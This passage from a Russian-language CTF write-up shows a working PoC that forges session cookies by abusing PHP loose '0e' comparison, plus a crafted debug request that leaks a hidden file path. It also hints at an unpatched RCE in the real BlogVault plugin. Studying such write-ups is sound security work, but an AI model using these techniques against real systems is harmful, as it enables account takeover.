if ([/COLOR][COLOR="#0000BB"]$test_protection[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]|| ![/COLOR][COLOR="#0000BB"]is_numeric[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$timeBlock[/COLOR][COLOR="#007700"])) return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$time_dif[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$timeCheck[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]$timeBlock[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$session_expired[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
if ([/COLOR][COLOR="#0000BB"]$time_dif[/COLOR][COLOR="#007700"]>=[/COLOR][COLOR="#0000BB"]$expire_time[/COLOR][COLOR="#007700"]||[/COLOR][COLOR="#0000BB"]$time_dif[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]$expire_time[/COLOR][COLOR="#007700"]) ?[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]$expire_time[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]$time_dif[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$session_array[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'base_minutes'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$timeBlock[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$session_array[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cookie'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$cookie_enabled[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]$session_array[/COLOR][COLOR="#007700"];
}
[/COLOR][/COLOR]
Для генерации нужен всего лишь
userid пользователя и он у нас есть. Но попробовав сгенерировать, сталкиваемся с проблемой. Для создания сессионной строки используется соль, лежащая в файле
/var/opt/inc/salt, который недоступен, по причине ограниченности читалки.
На этом моменте вполне можно сдаться, аргумент весомый - отсутствие главного поваренного ингредиента. Но ведь нельзя просто так взять и забить когда есть исходники?!
Учитываем одно неизвестное и продолжаем, смотрим проверку или извлечение данных из сессионной строки. Выкинув всё лишние, находим главный участок валидации который нас отбраковывает:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]getSessionArray[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]){
...
if ([/COLOR][COLOR="#0000BB"]$test_protection[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]|| ![/COLOR][COLOR="#0000BB"]is_numeric[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$timeBlock[/COLOR][COLOR="#007700"])) return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
...
}
[/COLOR][/COLOR]
или, к примеру:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]getSessionArray[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]){
...
if ([/COLOR][COLOR="#DD0000"]'1F13EF8'[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'B998342'[/COLOR][COLOR="#007700"]|| ![/COLOR][COLOR="#0000BB"]is_numeric[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'1384'[/COLOR][COLOR="#007700"])) return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
...
}
[/COLOR][/COLOR]
Сравнивается два блока, переданный нами и блок сгенерированный на сервере. Первым делом, на ум приходит брутфорс неизвестного нам значения. Семь символов в диапазоне A-Z0-9 дают 268 000 000 вариантов, один из них позволит обойти механизм проверки без знания соли. Но, во первых, это долго, во вторых трудно эксплуатируемо через интернет, так как один неудачный коннект или не предполагаемый респонс сервера, будут ломать всю картину.
Можно набросать качественный код с реализацией всевозможных исключений, ошибок коннекта и прочих неприятностей, но это никак не отменяет первой причины. Нам не годится, но имеет право на жизнь.
Поэтому погуглив на тему "PHP уязвимости сравнения", "ошибка сравнения PHP" или что-то в этом духе, находим множество материалов посвящённых данной теме. Суть которых заключается в том, что при сравнении
!= или
==, происходит преобразование типов, такое сравнение ещё называют "нестрогим", и если строка начинается с "0e", а после нее следуют только цифры, для PHP это будет
float значение. Поэтому:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'0e462097431906509019562988736854'[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'0'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'0e462097431906509019562988736854'[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'0e689757431906419875624564334234'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]bool[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"])
[/COLOR][COLOR="#0000BB"]bool[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"])
[/COLOR][/COLOR]
В своё время это была довольно крутая находка, но всё же не совсем лёгкая в эксплуатации, так как всё-равно приходится перебирать кучу вариантов. Но что касается нашего кейса, где всего 7 символов, этот вариант как нельзя кстати. Гененрируя различные сессии, со статичными значениями
$protectionBlock и
$userid, мы точно попадём в подобное сравнение или как написал
@Felis-Sapiens - "В среднем будет успешна каждая (16^7 / 10^5) ~ 2684 попытка. Мне потребовалось 3709".
PoC:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
array(
[/COLOR][COLOR="#DD0000"]'method'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'GET'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'header'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Cookie: rememberSession='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]';'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'user_agent'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Mozilla/5.0 (Windows NT 5.1; rv:53.0) Gecko/20170101 Firefox/53.0'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'timeout'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]60[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'ignore_errors'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]true
[/COLOR][COLOR="#007700"])
);
[/COLOR][COLOR="#FF8000"]#return @file_get_contents('http://tmp/task/', false, stream_context_create($opts));
[/COLOR][COLOR="#007700"]return @[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'http://80.211.180.74/'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]stream_context_create[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$opts[/COLOR][COLOR="#007700"]));
}
function[/COLOR][COLOR="#0000BB"]generateSession[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$userid[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]$timeBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1111[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]9999[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'0E12345'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$sessionBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strtoupper[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]uniqid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'p'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]$userBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_pad[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$userid[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]STR_PAD_LEFT[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'N'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'N'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#DD0000"]'-'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'@'[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]9[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$sessionBlock[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]$userBlock[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$timeBlock[/COLOR][COLOR="#007700"];
list([/COLOR][COLOR="#0000BB"]$cut1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cut2[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cut3[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cut4[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cut5[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cut6[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cut7[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cut8[/COLOR][COLOR="#007700"]) = array([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]12[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]14[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]6[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]25[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]30[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]35[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]));
return[/COLOR][COLOR="#0000BB"]strtoupper[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$cut2[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut4[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut3[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut8[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut7[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut6[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut5[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]6[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut1[/COLOR][COLOR="#007700"]);
}
[/COLOR][COLOR="#0000BB"]?>
[/COLOR][/COLOR]
Результат выполнения:
Цитата:
Сообщение от None
Valid rememberSession for 1000001 is: B870EA820820.84E4F10772000183901004629005NNP5
Guessed for 48 attempts
|
Bonus! Для тех кто дочитал Если понравился этот баг, предлагаю самостоятельно расковырять 0day в плагине
BlogVault. После байпаса, станет доступен RCE без авторизации.
⚑ 4.
{SKL_OH_NO_FPD_HAPPENED_RCE_IS_COMING}
Сплоит написали, теперь есть возможность стать любым пользователем в системе. После успешного применения, видим перед собой некое альфа приложение, которое позволяет подключаться к произвольному почтовому сервису средствами IMAP и читать новые письма.
Исходников этого функционала у нас пока нет, по причине отсутствия нужного префикса, который как и соль лежит там где взять не получается. Во время извлечения предыдущего флага, вполне можно заметить рядом закомментированный инпут:
Пробуем добавить параметр в запрос, учитывая что чекнутый
input является значением
on, и отправляем невалидные данные:
Код:
Code:
POST / HTTP/1.1
Host: 80.211.180.74
Cookie: rememberSession=B870EA820820.84E4F10772000183901004629005NNP5
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Referer: http://80.211.180.74/
Content-Type: application/x-www-form-urlencoded
iserver=sdasd&ilogin=asdasd&ipassword=asdasd&idebug=on&check=Get
Если всё получилось, то увидим сообщения вида:
Цитата:
Сообщение от None
Warning: imap_open(): Couldn't open stream {sdasd:993/imap/ssl}INBOX in /var/www/html/int3rnal_us3_0nly_project.php on line 27
Error: No such host as sdasd
|
Пых выдал ворнинг, а мы получили наш префикс "
int3rnal_us3_0nly". Читаем файл и флаг наш!
⚑ 5.
{SKL_I_LUV_PHP_IMAP_AND_RCE}
Изюминка квеста, король вечера, Remote Command Execution, 0day, разрыв пуканов и всё-всё-всё, но не сегодня
В связи со сложившимися обстоятельствами, баг, послуживший материалом для создания этого задания, будет освящён на ежегодной конференции по ИБ -
Kaz'Hack'Stan, которая состоится 5 октября 2018.
Докладывать будет
@Twoster. Он же готовит подробную презу с нюансами, покрытием, причинами и следствием этой уязвимости, которых здесь, скорее всего, небыло бы.
Поэтому ждём, пинаем Твоста в ТГ, чтоб не бакланил и как следует пропиарил Античат на профильном мероприятии!
P.S. Не стесняйтесь, дополняйте, критикуйте и обсуждайте. Всем бобра